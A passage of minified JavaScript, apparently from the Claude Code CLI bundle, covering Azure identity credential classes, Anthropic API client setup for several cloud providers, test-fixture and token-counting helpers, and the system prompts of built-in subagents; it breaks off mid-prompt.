directory"},X_6={login:"Please run 'Connect-AzAccount' from PowerShell to authenticate before using this credential.",installed:`The 'Az.Account' module >= 2.2.0 is not installed. Install the Azure Az PowerShell module with: "Install-Module -Name Az -Scope CurrentUser -Repository PSGallery -Force".`,troubleshoot:"To troubleshoot, visit https://aka.ms/azsdk/js/identity/powershellcredential/troubleshoot."},$_6=[aq7("pwsh")];if(oq7)$_6.push(aq7("powershell"))});class Z_6{constructor(...A){this._sources=[],this._sources=A}async getToken(A,K={}){let{token:q}=await this.getTokenInternal(A,K);return q}async getTokenInternal(A,K={}){let q=null,Y,z=[];return EJ.withSpan("ChainedTokenCredential.getToken",K,async(w)=>{for(let H=0;H<this._sources.length&&q===null;H++)try{q=await this._sources[H].getToken(A,w),Y=this._sources[H]}catch(J){if(J.name==="CredentialUnavailableError"||J.name==="AuthenticationRequiredError")z.push(J);else throw G_6.getToken.info(Q2(A,J)),J}if(!q&&z.length>0){let H=new JO6(z,"ChainedTokenCredential authentication failed.");throw G_6.getToken.info(Q2(A,H)),H}if(G_6.getToken.info(`Result for ${Y.constructor.name}: ${VG(A)}`),q===null)throw new wq("Failed to retrieve a valid token");return{token:q,successfulCredential:Y}})}}var G_6;var eq7=k(()=>{TM();YX();mT();G_6=tY("ChainedTokenCredential")});import{createHash as A57,createPrivateKey as u2Y}from"node:crypto";import{readFile as B2Y}from"node:fs/promises";class W_6{constructor(A,K,q,Y={}){if(!A||!K)throw Error(`${LxA}: tenantId and clientId are required parameters.`);this.tenantId=A,this.additionallyAllowedTenantIds=nV(Y===null||Y===void 0?void 0:Y.additionallyAllowedTenants),this.sendCertificateChain=Y.sendCertificateChain,this.certificateConfiguration=Object.assign({},typeof q==="string"?{certificatePath:q}:q);let z=this.certificateConfiguration.certificate,w=this.certificateConfiguration.certificatePath;if(!this.certificateConfiguration||!(z||w))throw Error(`${LxA}: Provide either a PEM certificate in string form, or the path to that certificate in the filesystem. To troubleshoot, visit https://aka.ms/azsdk/js/identity/serviceprincipalauthentication/troubleshoot.`);if(z&&w)throw Error(`${LxA}: To avoid unexpected behaviors, providing both the contents of a PEM certificate and the path to a PEM certificate is forbidden. To troubleshoot, visit https://aka.ms/azsdk/js/identity/serviceprincipalauthentication/troubleshoot.`);this.msalClient=io(K,A,Object.assign(Object.assign({},Y),{logger:K57,tokenCredentialOptions:Y}))}async getToken(A,K={}){return EJ.withSpan(`${LxA}.getToken`,K,async(q)=>{q.tenantId=vM(this.tenantId,q,this.additionallyAllowedTenantIds,K57);let Y=Array.isArray(A)?A:[A],z=await this.buildClientCertificate();return this.msalClient.getTokenByClientCertificate(Y,z,q)})}async buildClientCertificate(){var A;let K=await m2Y(this.certificateConfiguration,(A=this.sendCertificateChain)!==null&&A!==void 0?A:!1),q;if(this.certificateConfiguration.certificatePassword!==void 0)q=u2Y({key:K.certificateContents,passphrase:this.certificateConfiguration.certificatePassword,format:"pem"}).export({format:"pem",type:"pkcs8"}).toString();else q=K.certificateContents;return{thumbprint:K.thumbprint,thumbprintSha256:K.thumbprintSha256,privateKey:q,x5c:K.x5c}}}async function m2Y(A,K){let{certificate:q,certificatePath:Y}=A,z=q||await B2Y(Y,"utf8"),w=K?z:void 0,H=/(-+BEGIN CERTIFICATE-+)(\n\r?|\r\n?)([A-Za-z0-9+/\n\r]+=*)(\n\r?|\r\n?)(-+END CERTIFICATE-+)/g,J=[],O;do if(O=H.exec(z),O)J.push(O[3]);while(O);if(J.length===0)throw Error("The file at the specified path does not contain a PEM-encoded certificate.");let X=A57("sha1").update(Buffer.from(J[0],"base64")).digest("hex").toUpperCase(),$=A57("sha256").update(Buffer.from(J[0],"base64")).digest("hex").toUpperCase();return{certificateContents:z,thumbprintSha256:$,thumbprint:X,x5c:w}}var LxA="ClientCertificateCredential",K57;var q57=k(()=>{kxA();qI();YX();mT();K57=tY(LxA)});class D_6{constructor(A,K,q,Y={}){if(!A)throw new wq("ClientSecretCredential: tenantId is a required parameter. To troubleshoot, visit https://aka.ms/azsdk/js/identity/serviceprincipalauthentication/troubleshoot.");if(!K)throw new wq("ClientSecretCredential: clientId is a required parameter. To troubleshoot, visit https://aka.ms/azsdk/js/identity/serviceprincipalauthentication/troubleshoot.");if(!q)throw new wq("ClientSecretCredential: clientSecret is a required parameter. To troubleshoot, visit https://aka.ms/azsdk/js/identity/serviceprincipalauthentication/troubleshoot.");this.clientSecret=q,this.tenantId=A,this.additionallyAllowedTenantIds=nV(Y===null||Y===void 0?void 0:Y.additionallyAllowedTenants),this.msalClient=io(K,A,Object.assign(Object.assign({},Y),{logger:Y57,tokenCredentialOptions:Y}))}async getToken(A,K={}){return EJ.withSpan(`${this.constructor.name}.getToken`,K,async(q)=>{q.tenantId=vM(this.tenantId,q,this.additionallyAllowedTenantIds,Y57);let Y=uJ1(A);return this.msalClient.getTokenByClientSecret(Y,this.clientSecret,q)})}}var Y57;var z57=k(()=>{kxA();qI();TM();YX();NGA();mT();Y57=tY("ClientSecretCredential")});class j_6{constructor(A,K,q,Y,z={}){if(!A)throw new wq("UsernamePasswordCredential: tenantId is a required parameter. To troubleshoot, visit https://aka.ms/azsdk/js/identity/usernamepasswordcredential/troubleshoot.");if(!K)throw new wq("UsernamePasswordCredential: clientId is a required parameter. To troubleshoot, visit https://aka.ms/azsdk/js/identity/usernamepasswordcredential/troubleshoot.");if(!q)throw new wq("UsernamePasswordCredential: username is a required parameter. To troubleshoot, visit https://aka.ms/azsdk/js/identity/usernamepasswordcredential/troubleshoot.");if(!Y)throw new wq("UsernamePasswordCredential: password is a required parameter. To troubleshoot, visit https://aka.ms/azsdk/js/identity/usernamepasswordcredential/troubleshoot.");this.tenantId=A,this.additionallyAllowedTenantIds=nV(z===null||z===void 0?void 0:z.additionallyAllowedTenants),this.username=q,this.password=Y,this.msalClient=io(K,this.tenantId,Object.assign(Object.assign({},z),{tokenCredentialOptions:z!==null&&z!==void 0?z:{}}))}async getToken(A,K={}){return EJ.withSpan(`${this.constructor.name}.getToken`,K,async(q)=>{q.tenantId=vM(this.tenantId,q,this.additionallyAllowedTenantIds,g2Y);let Y=uJ1(A);return this.msalClient.getTokenByUsernamePassword(Y,this.username,this.password,q)})}}var g2Y;var w57=k(()=>{kxA();qI();TM();YX();NGA();mT();g2Y=tY("UsernamePasswordCredential")});function Q2Y(){var A;return((A=process.env.AZURE_ADDITIONALLY_ALLOWED_TENANTS)!==null&&A!==void 0?A:"").split(";")}function U2Y(){var A;let K=((A=process.env.AZURE_CLIENT_SEND_CERTIFICATE_CHAIN)!==null&&A!==void 0?A:"").toLowerCase(),q=K==="true"||K==="1";return cU.verbose(`AZURE_CLIENT_SEND_CERTIFICATE_CHAIN: ${process.env.AZURE_CLIENT_SEND_CERTIFICATE_CHAIN}; sendCertificateChain: ${q}`),q}class M_6{constructor(A){this._credential=void 0;let K=Ew1(F2Y).assigned.join(", ");cU.info(`Found the following environment variables: ${K}`);let q=process.env.AZURE_TENANT_ID,Y=process.env.AZURE_CLIENT_ID,z=process.env.AZURE_CLIENT_SECRET,w=Q2Y(),H=U2Y(),J=Object.assign(Object.assign({},A),{additionallyAllowedTenantIds:w,sendCertificateChain:H});if(q)iV(cU,q);if(q&&Y&&z){cU.info(`Invoking ClientSecretCredential with tenant ID: ${q}, clientId: ${Y} and clientSecret: [REDACTED]`),this._credential=new D_6(q,Y,z,J);return}let O=process.env.AZURE_CLIENT_CERTIFICATE_PATH,X=process.env.AZURE_CLIENT_CERTIFICATE_PASSWORD;if(q&&Y&&O){cU.info(`Invoking ClientCertificateCredential with tenant ID: ${q}, clientId: ${Y} and certificatePath: ${O}`),this._credential=new W_6(q,Y,{certificatePath:O,certificatePassword:X},J);return}let $=process.env.AZURE_USERNAME,_=process.env.AZURE_PASSWORD;if(q&&Y&&$&&_)cU.info(`Invoking UsernamePasswordCredential with tenant ID: ${q}, clientId: ${Y} and username: ${$}`),cU.warning("Environment is configured to use username and password authentication. This authentication method is deprecated, as it doesn't support multifactor authentication (MFA). Use a more secure credential. For more details, see https://aka.ms/azsdk/identity/mfa."),this._credential=new j_6(q,Y,$,_,J)}async getToken(A,K={}){return EJ.withSpan(`${mJ1}.getToken`,K,async(q)=>{if(this._credential)try{let Y=await this._credential.getToken(A,q);return cU.getToken.info(VG(A)),Y}catch(Y){let z=new khA(400,{error:`${mJ1} authentication failed. To troubleshoot, visit https://aka.ms/azsdk/js/identity/environmentcredential/troubleshoot.`,error_description:Y.message.toString().split("More details:").join("")});throw cU.getToken.info(Q2(A,z)),z}throw new wq(`${mJ1} is unavailable. No underlying credential could be used. To troubleshoot, visit https://aka.ms/azsdk/js/identity/environmentcredential/troubleshoot.`)})}}var F2Y,mJ1="EnvironmentCredential",cU;var H57=k(()=>{TM();YX();q57();z57();w57();qI();mT();F2Y=["AZURE_TENANT_ID","AZURE_CLIENT_ID","AZURE_CLIENT_SECRET","AZURE_CLIENT_CERTIFICATE_PATH","AZURE_CLIENT_CERTIFICATE_PASSWORD","AZURE_USERNAME","AZURE_PASSWORD","AZURE_ADDITIONALLY_ALLOWED_TENANTS","AZURE_CLIENT_SEND_CERTIFICATE_CHAIN"];cU=tY(mJ1)});function p2Y(A={}){var K,q,Y,z;(K=A.retryOptions)!==null&&K!==void 0||(A.retryOptions={maxRetries:5,retryDelayInMs:800});let w=(q=A===null||A===void 0?void 0:A.managedIdentityClientId)!==null&&q!==void 0?q:process.env.AZURE_CLIENT_ID,H=(Y=A===null||A===void 0?void 0:A.workloadIdentityClientId)!==null&&Y!==void 0?Y:w,J=A===null||A===void 0?void 0:A.managedIdentityResourceId,O=process.env.AZURE_FEDERATED_TOKEN_FILE,X=(z=A===null||A===void 0?void 0:A.tenantId)!==null&&z!==void 0?z:process.env.AZURE_TENANT_ID;if(J){let $=Object.assign(Object.assign({},A),{resourceId:J});return new VGA($)}if(O&&H){let $=Object.assign(Object.assign({},A),{tenantId:X});return new VGA(H,$)}if(w){let $=Object.assign(Object.assign({},A),{clientId:w});return new VGA($)}return new VGA(A)}function d2Y(A){var K,q,Y;let z=(K=A===null||A===void 0?void 0:A.managedIdentityClientId)!==null&&K!==void 0?K:process.env.AZURE_CLIENT_ID,w=(q=A===null||A===void 0?void 0:A.workloadIdentityClientId)!==null&&q!==void 0?q:z,H=process.env.AZURE_FEDERATED_TOKEN_FILE,J=(Y=A===null||A===void 0?void 0:A.tenantId)!==null&&Y!==void 0?Y:process.env.AZURE_TENANT_ID;if(H&&w){let O=Object.assign(Object.assign({},A),{tenantId:J,clientId:w,tokenFilePath:H});return new nKA(O)}if(J){let O=Object.assign(Object.assign({},A),{tenantId:J});return new nKA(O)}return new nKA(A)}function c2Y(A={}){let K=A.processTimeoutInMs;return new O_6(Object.assign({processTimeoutInMs:K},A))}function l2Y(A={}){let K=A.processTimeoutInMs;return new J_6(Object.assign({processTimeoutInMs:K},A))}function i2Y(A={}){let K=A.processTimeoutInMs;return new __6(Object.assign({processTimeoutInMs:K},A))}function n2Y(A={}){return new M_6(A)}class J57{constructor(A,K){this.credentialName=A,this.credentialUnavailableErrorMessage=K}getToken(){return P_6.getToken.info(`Skipping ${this.credentialName}, reason: ${this.credentialUnavailableErrorMessage}`),Promise.resolve(null)}}var P_6,gJ1;var O57=k(()=>{Fq7();pq7();cq7();tq7();eq7();H57();z_6();YX();P_6=tY("DefaultAzureCredential");gJ1=class gJ1 extends Z_6{constructor(A){let K=process.env.AZURE_TOKEN_CREDENTIALS?process.env.AZURE_TOKEN_CREDENTIALS.trim().toLowerCase():void 0,q=[l2Y,i2Y,c2Y],Y=[n2Y,d2Y,p2Y],z=[];if(K)switch(K){case"dev":z=q;break;case"prod":z=Y;break;default:{let H=`Invalid value for AZURE_TOKEN_CREDENTIALS = ${process.env.AZURE_TOKEN_CREDENTIALS}. Valid values are 'prod' or 'dev'.`;throw P_6.warning(H),Error(H)}}else z=[...Y,...q];let w=z.map((H)=>{try{return H(A)}catch(J){return P_6.warning(`Skipped ${H.name} because of an error creating the credential: ${J}`),new J57(H.name,J.message)}});super(...w)}}});function V_6(A,K,q){let{abortSignal:Y,tracingOptions:z}=q||{},w=xhA();w.addPolicy(QhA({credential:A,scopes:K}));async function H(){var J;let X=(J=(await w.sendRequest({sendRequest:($)=>Promise.resolve({request:$,status:200,headers:$.headers})},wI({url:"https://example.com",abortSignal:Y,tracingOptions:z}))).headers.get("authorization"))===null||J===void 0?void 0:J.split(" ")[1];if(!X)throw Error("Failed to get access token");return X}return H}var X57=k(()=>{NU()});var $57=k(()=>{O57();X57();W17()});function FJ1(){return{error:(A,...K)=>console.error("[Anthropic SDK ERROR]",A,...K),warn:(A,...K)=>console.error("[Anthropic SDK WARN]",A,...K),info:(A,...K)=>console.error("[Anthropic SDK INFO]",A,...K),debug:(A,...K)=>console.error("[Anthropic SDK DEBUG]",A,...K)}}async function ZI({apiKey:A,maxRetries:K,model:q,fetchOverride:Y}){let z=process.env.CLAUDE_CODE_CONTAINER_ID,w=process.env.CLAUDE_CODE_REMOTE_SESSION_ID,H=o2Y(),J={"x-app":"cli","User-Agent":ln(),...H,...z?{"x-claude-remote-container-id":z}:{},...w?{"x-claude-remote-session-id":w}:{}};if(h(`[API:request] Creating client, ANTHROPIC_CUSTOM_HEADERS present: ${!!process.env.ANTHROPIC_CUSTOM_HEADERS}, has Authorization header: ${!!H.Authorization}`),P1(process.env.CLAUDE_CODE_ADDITIONAL_PROTECTION))J["x-anthropic-additional-protection"]="true";if(h("[API:auth] OAuth token check starting"),await rZ(),h("[API:auth] OAuth token check complete"),!Z4())r2Y(J,b7());let X={defaultHeaders:J,maxRetries:K,timeout:parseInt(process.env.API_TIMEOUT_MS||String(600000),10),dangerouslyAllowBrowser:!0,fetchOptions:s8A(),...Y&&{fetch:Y}};if(P1(process.env.CLAUDE_CODE_USE_BEDROCK)){let _=q===_O()&&process.env.ANTHROPIC_SMALL_FAST_MODEL_AWS_REGION?process.env.ANTHROPIC_SMALL_FAST_MODEL_AWS_REGION:J1A(),G={...X,awsRegion:_,...P1(process.env.CLAUDE_CODE_SKIP_BEDROCK_AUTH)&&{skipAuth:!0},...ph()&&{logger:FJ1()}};if(process.env.AWS_BEARER_TOKEN_BEDROCK)G.skipAuth=!0,G.defaultHeaders={...G.defaultHeaders,Authorization:`Bearer ${process.env.AWS_BEARER_TOKEN_BEDROCK}`};else if(!P1(process.env.CLAUDE_CODE_SKIP_BEDROCK_AUTH)){let Z=await t8A();if(Z)G.awsAccessKey=Z.accessKeyId,G.awsSecretKey=Z.secretAccessKey,G.awsSessionToken=Z.sessionToken}return new Vz1(G)}if(P1(process.env.CLAUDE_CODE_USE_FOUNDRY)){let _;if(!process.env.ANTHROPIC_FOUNDRY_API_KEY)if(P1(process.env.CLAUDE_CODE_SKIP_FOUNDRY_AUTH))_=()=>Promise.resolve("");else _=V_6(new gJ1,"https://cognitiveservices.azure.com/.default");let G={...X,..._&&{azureADTokenProvider:_},...ph()&&{logger:FJ1()}};return new vz1(G)}if(P1(process.env.CLAUDE_CODE_USE_VERTEX)){let _=process.env.GCLOUD_PROJECT||process.env.GOOGLE_CLOUD_PROJECT||process.env.gcloud_project||process.env.google_cloud_project,G=process.env.GOOGLE_APPLICATION_CREDENTIALS||process.env.google_application_credentials,Z=P1(process.env.CLAUDE_CODE_SKIP_VERTEX_AUTH)?{getClient:()=>({getRequestHeaders:()=>({})})}:new _57.GoogleAuth({scopes:["https://www.googleapis.com/auth/cloud-platform"],..._||G?{}:{projectId:process.env.ANTHROPIC_VERTEX_PROJECT_ID}}),W={...X,region:cnA(q),googleAuth:Z,...ph()&&{logger:FJ1()}};return new Mw1(W)}let $={apiKey:Z4()?null:A||Ex(),authToken:Z4()?LK()?.accessToken:void 0,...{},...X,...ph()&&{logger:FJ1()}};return new pR($)}function r2Y(A,K){let q=process.env.ANTHROPIC_AUTH_TOKEN||yxA(K);if(q)A.Authorization=`Bearer ${q}`}function o2Y(){let A={},K=process.env.ANTHROPIC_CUSTOM_HEADERS;if(!K)return A;let q=K.split(/\n|\r\n/);for(let Y of q){if(!Y.trim())continue;let z=Y.match(/^\s*(.*?)\s*:\s*(.*?)\s*$/);if(z){let[,w,H]=z;if(w&&H!==void 0)A[w]=H}}return A}var _57;var RxA=k(()=>{Yl4();Xl4();sN();$t4();$57();x4();q6();JG();l6();TQ();uz();Z1();K7();_57=o(iJ6(),1)});import{createHash as W57,randomUUID as a2Y}from"crypto";import{dirname as QJ1,join as D57}from"path";import*as j57 from"path";function f_6(){return!1}async function s2Y(A,K,q){if(!f_6())return await q();let Y=W57("sha1").update(UA(A)).digest("hex").slice(0,12),z=D57(process.env.CLAUDE_CODE_TEST_FIXTURES_ROOT??x1(),`fixtures/${K}-${Y}.json`);if(BA().existsSync(z))return G6(BA().readFileSync(z,{encoding:"utf8"}));if(m6.isCI)throw Error(`Fixture missing: ${z}. Re-run npm test locally, then commit the result.`);let w=await q();if(!BA().existsSync(QJ1(z)))BA().mkdirSync(QJ1(z));return x8(z,UA(w,null,2),{encoding:"utf8",flush:!1}),w}async function N_6(A,K){if(!f_6())return await K();let q=q0(A.filter((H)=>{if(H.type!=="user")return!0;if(H.isMeta)return!1;return!0})),Y=e2Y(q.map((H)=>H.message.content),Z57),z=D57(process.env.CLAUDE_CODE_TEST_FIXTURES_ROOT??x1(),`fixtures/${Y.map((H)=>W57("sha1").update(UA(H)).digest("hex").slice(0,6)).join("-")}.json`);if(BA().existsSync(z)){let H=G6(BA().readFileSync(z,{encoding:"utf8"}));return H.output.forEach(t2Y),H.output.map((J,O)=>G57(J,KzY,O,a2Y()))}if(m6.isCI)throw Error(`Anthropic API fixture missing: ${z}. Re-run npm test locally, then commit the result. Input messages: ${UA(Y,null,2)}`);let w=await K();if(m6.isCI)return w;if(!BA().existsSync(QJ1(z)))BA().mkdirSync(QJ1(z));return x8(z,UA({input:Y,output:w.map((H,J)=>G57(H,Z57,J))},null,2),{encoding:"utf8",flush:!1}),w}function t2Y(A){if(A.type==="stream_event")return;let K=A.message.model,q=A.message.usage,Y=Eq1(K,q);fq1(Y,q,K)}function e2Y(A,K){return A.map((q)=>{if(typeof q==="string")return K(q);return q.map((Y)=>{switch(Y.type){case"tool_result":if(typeof Y.content==="string")return{...Y,content:K(Y.content)};if(Array.isArray(Y.content))return{...Y,content:Y.content.map((z)=>{switch(z.type){case"text":return{...z,text:K(z.text)};case"image":return z;default:return}})};return Y;case"text":return{...Y,text:K(Y.text)};case"tool_use":return{...Y,input:UJ1(Y.input,K)};case"image":return Y;default:return}})})}function UJ1(A,K){return U1A(A,(q,Y)=>{if(Array.isArray(q))return q.map((z)=>UJ1(z,K));if(nwA(q))return UJ1(q,K);return K(q,Y,A)})}function AzY(A,K,q,Y){return{uuid:Y??`UUID-${q}`,requestId:"REQUEST_ID",timestamp:A.timestamp,message:{...A.message,content:A.message.content.map((z)=>{switch(z.type){case"text":return{...z,text:K(z.text),citations:z.citations||[]};case"tool_use":return{...z,input:UJ1(z.input,K)};default:return z}}).filter(Boolean)},type:"assistant"}}function G57(A,K,q,Y){if(A.type==="assistant")return AzY(A,K,q,Y);else return A}function Z57(A){if(typeof A!=="string")return A;let K=A.replace(/num_files="\d+"/g,'num_files="[NUM]"').replace(/duration_ms="\d+"/g,'duration_ms="[DURATION]"').replace(/cost_usd="\d+"/g,'cost_usd="[COST]"').replace(/\//g,j57.sep).replaceAll(w8(),"[CONFIG_HOME]").replaceAll(x1(),"[CWD]").replace(/Available commands:.+/,"Available commands: [COMMANDS]");if(K.includes("Files modified by user:"))return"Files modified by user: [FILES]";return K}function KzY(A){if(typeof A!=="string")return A;return A.replaceAll("[NUM]","1").replaceAll("[DURATION]","100").replaceAll("[CONFIG_HOME]",w8()).replaceAll("[CWD]",x1())}async function*T_6(A,K){if(!f_6())return yield*K();let q=[],Y=await N_6(A,async()=>{for await(let z of K())q.push(z);return q});if(Y.length>0){yield*Y;return}yield*q}async function M57(A,K,q){return(await s2Y({messages:A,tools:K},"token-count",async()=>({tokenCount:await q()}))).tokenCount}var v_6=k(()=>{z3();y4();l6();e6();b1();RaA();uaA();$8();kq1();Ck();b1()});function f57(A){for(let K of A)if(K.role==="assistant"&&Array.isArray(K.content)){for(let q of K.content)if(typeof q==="object"&&q!==null&&"type"in q&&(q.type==="thinking"||q.type==="redacted_thinking"))return!0}return!1}function qzY(A){return A.map((K)=>{if(!Array.isArray(K.content))return K;let q=K.content.map((Y)=>{if(Y.type==="tool_use"){let z=Y;return{type:"tool_use",id:z.id,name:z.name,input:z.input}}if(Y.type==="tool_result"){let z=Y;if(Array.isArray(z.content)){let w=z.content.filter((H)=>!lU(H));if(w.length===0)return{...z,content:[{type:"text",text:"[tool references]"}]};if(w.length!==z.content.length)return{...z,content:w}}}return Y});return{...K,content:q}})}async function N57(A){if(!A)return 0;return IxA([{role:"user",content:A}],[])}async function IxA(A,K){return M57(A,K,async()=>{try{let q=J3(),Y=RT(q),z=f57(A);if(c7()==="bedrock")return zzY({model:vQ(q),messages:A,tools:K,betas:Y,containsThinking:z});let w=await ZI({maxRetries:1,model:q}),H=c7()==="vertex"?Y.filter((O)=>HR1.has(O)):Y,J=await w.beta.messages.countTokens({model:vQ(q),messages:A.length>0?A:[{role:"user",content:"foo"}],tools:K,...H.length>0?{betas:H}:{},...z?{thinking:{type:"enabled",budget_tokens:E_6}}:{}});if(typeof J.input_tokens!=="number")return null;return J.input_tokens}catch(q){return KA(q),null}})}function d2(A){return Math.round(A.length/4)}async function T57(A,K){let q=f57(A),Y=P1(process.env.CLAUDE_CODE_USE_VERTEX)&&cnA(_O())==="global",z=P1(process.env.CLAUDE_CODE_USE_BEDROCK)&&q,w=P1(process.env.CLAUDE_CODE_USE_VERTEX)&&q,H=Y||z||w?Lk():_O(),J=await ZI({maxRetries:1,model:H}),O=qzY(A),X=O.length>0?O:[{role:"user",content:"count"}],$=RT(H),_=c7()==="vertex"?$.filter((M)=>HR1.has(M)):$,Z=(await J.beta.messages.create({model:vQ(H),max_tokens:q?V57:1,messages:X,tools:K.length>0?K:void 0,..._.length>0?{betas:_}:{},metadata:no(),...pJ1(),...q?{thinking:{type:"enabled",budget_tokens:E_6}}:{}})).usage,W=Z.input_tokens,D=Z.cache_creation_input_tokens||0,j=Z.cache_read_input_tokens||0;return W+D+j}function k_6(A){let K=0;for(let q of A)K+=C_6(q);return K}function C_6(A){if(A.type!=="assistant"&&A.type!=="user"||!A.message?.content)return 0;return v57(A.message?.content)}function v57(A){if(!A)return 0;if(typeof A==="string")return d2(A);let K=0;for(let q of A)K+=YzY(q);return K}function YzY(A){if(typeof A==="string")return d2(A);if(A.type==="text")return d2(A.text);if(A.type==="image")return 1334;if(A.type==="tool_result")return v57(A.content);return 0}async function zzY({model:A,messages:K,tools:q,betas:Y,containsThinking:z}){try{let w=await GH4(),H=h46(A)?A:await jq1(A);if(!H)return null;let J={anthropic_version:"bedrock-2023-05-31",messages:K.length>0?K:[{role:"user",content:"foo"}],max_tokens:z?V57:1,...q.length>0?{tools:q}:{},...Y.length>0?{anthropic_beta:Y}:{},...z?{thinking:{type:"enabled",budget_tokens:E_6}}:{}},O={modelId:H,input:{invokeModel:{body:new TextEncoder().encode(UA(J))}}};return(await w.send(new P57.CountTokensCommand(O))).inputTokens??null}catch(w){return KA(w),null}}var P57,E_6=1024,V57=2048;var dT=k(()=>{RxA();C1();K7();ok();z1A();sz();l6();v_6();IH();zyA();vC();b1();P57=o(S71(),1)});function ro(A){if(A?.type==="assistant"&&"usage"in A.message&&!(A.message.content[0]?.type==="text"&&L_6.has(A.message.content[0].text))&&A.message.model!==TGA)return A.message.usage;return}function SxA(A){return A.input_tokens+(A.cache_creation_input_tokens??0)+(A.cache_read_input_tokens??0)+A.output_tokens}function bM(A){let K=A.length-1;while(K>=0){let q=A[K],Y=q?ro(q):void 0;if(Y)return SxA(Y);K--}return 0}function dJ1(A){for(let K=A.length-1;K>=0;K--){let q=A[K],Y=q?ro(q):void 0;if(Y)return{input_tokens:Y.input_tokens,output_tokens:Y.output_tokens,cache_creation_input_tokens:Y.cache_creation_input_tokens??0,cache_read_input_tokens:Y.cache_read_input_tokens??0}}return null}function cJ1(A){for(let q=A.length-1;q>=0;q--){let Y=A[q];if(Y?.type==="assistant"){let z=ro(Y);if(z)return SxA(z)>200000;return!1}}return!1}function E57(A){if(A<1000)return`~${A}`;return`~${(A/1000).toFixed(1)}k`}function lJ1(A){let K=0;for(let q of A.message.content)if(q.type==="text")K+=q.text.length;else if(q.type==="thinking")K+=q.thinking.length;else if(q.type==="redacted_thinking")K+=q.data.length;else if(q.type==="tool_use")K+=UA(q.input).length;return K}function WI(A){let K=A.length-1;while(K>=0){let q=A[K],Y=q?ro(q):void 0;if(Y)return SxA(Y)+k_6(A.slice(K+1));K--}return k_6(A)}var oZ=k(()=>{$8();dT();b1();iP();K7();q6()});function vGA(A){if(A==="general-purpose")return;let q=PR1().get(A);if(q&&Y0.includes(q))return LJ[q];return}function EGA(A,K){let q=PR1();if(!K){q.delete(A);return}if(Y0.includes(K))q.set(A,K)}var Y0,LJ;var aZ=k(()=>{q6();Y0=["red","blue","green","yellow","purple","orange","pink","cyan"],LJ={red:"red_FOR_SUBAGENTS_ONLY",blue:"blue_FOR_SUBAGENTS_ONLY",green:"green_FOR_SUBAGENTS_ONLY",yellow:"yellow_FOR_SUBAGENTS_ONLY",purple:"purple_FOR_SUBAGENTS_ONLY",orange:"orange_FOR_SUBAGENTS_ONLY",pink:"pink_FOR_SUBAGENTS_ONLY",cyan:"cyan_FOR_SUBAGENTS_ONLY"}});var wzY=`You are a command execution specialist for Claude Code. Your role is to execute bash commands efficiently and safely. Guidelines: - Execute commands precisely as instructed - For git operations, follow git safety protocols - Report command output clearly and concisely - If a command fails, explain the error and suggest solutions - Use command chaining (&&) for dependent operations - Quote paths with spaces properly - For clear communication, avoid using emojis Complete the requested operations efficiently.`,k57;var C57=k(()=>{k57={agentType:"Bash",whenToUse:"Command execution specialist for running bash commands. Use this for git operations, command execution, and other terminal tasks.",tools:[G7],source:"built-in",baseDir:"built-in",model:"inherit",getSystemPrompt:()=>wzY}});var iJ1;var R_6=k(()=>{iJ1={agentType:"general-purpose",whenToUse:"General-purpose agent for researching complex questions, searching for code, and executing multi-step tasks. When you are searching for a keyword or file and are not confident that you will find the right match in the first few tries use this agent to perform the search for you.",tools:["*"],source:"built-in",baseDir:"built-in",getSystemPrompt:()=>`You are an agent for Claude Code, Anthropic's official CLI for Claude. Given the user's message, you should use the tools available to complete the task. Do what has been asked; nothing more, nothing less. When you complete the task simply respond with a detailed writeup. Your strengths: - Searching for code, configurations, and patterns across large codebases - Analyzing multiple files to understand system architecture - Investigating complex questions that require exploring many files - Performing multi-step research tasks Guidelines: - For file searches: Use Grep or Glob when you need to search broadly. Use Read when you know the specific file path. - For analysis: Start broad and narrow down. Use multiple search strategies if the first doesn't yield results. - Be thorough: Check multiple locations, consider different naming conventions, look for related files. - NEVER create files unless they're absolutely necessary for achieving your goal. ALWAYS prefer editing an existing file to creating a new one. - NEVER proactively create documentation files (*.md) or README files. Only create documentation files if explicitly requested. - In your final response always share relevant file names and code snippets. Any file paths you return in your response MUST be absolute. Do NOT use relative paths. - For clear communication, avoid using emojis.`}});var L57;var R57=k(()=>{L57={agentType:"statusline-setup",whenToUse:"Use this agent to configure the user's Claude Code status line setting.",tools:["Read","Edit"],source:"built-in",baseDir:"built-in",model:"sonnet",color:"orange",getSystemPrompt:()=>`You are a status line setup agent for Claude Code. Your job is to create or update the statusLine command in the user's Claude Code settings. When asked to convert the user's shell PS1 configuration, follow these steps: 1. Read the user's shell configuration files in this order of preference: - ~/.zshrc - ~/.bashrc - ~/.bash_profile - ~/.profile 2. Extract the PS1 value using this regex pattern: /(?:^|\\n)\\s*(?:export\\s+)?PS1\\s*=\\s*["']([^"']+)["']/m 3. Convert PS1 escape sequences to shell commands: - \\u → $(whoami) - \\h → $(hostname -s) - \\H → $(hostname) - \\w → $(pwd) - \\W → $(basename "$(pwd)") - \\$ → $ - \\n → \\n - \\t → $(date +%H:%M:%S) - \\d → $(date "+%a %b %d") - \\@ → $(date +%I:%M%p) - \\# → # - \\! → ! 4. When using ANSI color codes, be sure to use \`printf\`. Do not remove colors. Note that the status line will be printed in a terminal using dimmed colors. 5. If the imported PS1 would have trailing "$" or ">" characters in the output, you MUST remove them. 6. If no PS1 is found and user did not provide other instructions, ask for further instructions. How to use the statusLine command: 1. The statusLine command will receive the following JSON input via stdin: { "session_id": "string", // Unique session ID "transcript_path": "string", // Path to the conversation transcript "cwd": "string", // Current working directory "model": { "id": "string", // Model ID (e.g., "claude-3-5-sonnet-20241022") "display_name": "string" // Display name (e.g., "Claude 3.5 Sonnet") }, "workspace": { "current_dir": "string", // Current working directory path "project_dir": "string" // Project root directory path }, "version": "string", // Claude Code app version (e.g., "1.0.71") "output_style": { "name": "string", // Output style name (e.g., "default", "Explanatory", "Learning") }, "context_window": { "total_input_tokens": number, // Total input tokens used in session (cumulative) "total_output_tokens": number, // Total output tokens used in session (cumulative) "context_window_size": number, // Context window size for current model (e.g., 200000) "current_usage": { // Token usage from last API call (null if no messages yet) "input_tokens": number, // Input tokens for current context "output_tokens": number, // Output tokens generated "cache_creation_input_tokens": number, // Tokens written to cache "cache_read_input_tokens": number // Tokens read from cache } | null, "used_percentage": number | null, // Pre-calculated: % of context used (0-100), null if no messages yet "remaining_percentage": number | null // Pre-calculated: % of context remaining (0-100), null if no messages yet }, "vim": { // Optional, only present when vim mode is enabled "mode": "INSERT" | "NORMAL" // Current vim editor mode }, "agent": { // Optional, only present when Claude is started with --agent flag "name": "string", // Agent name (e.g., "code-architect", "test-runner") "type": "string" // Optional: Agent type identifier } } You 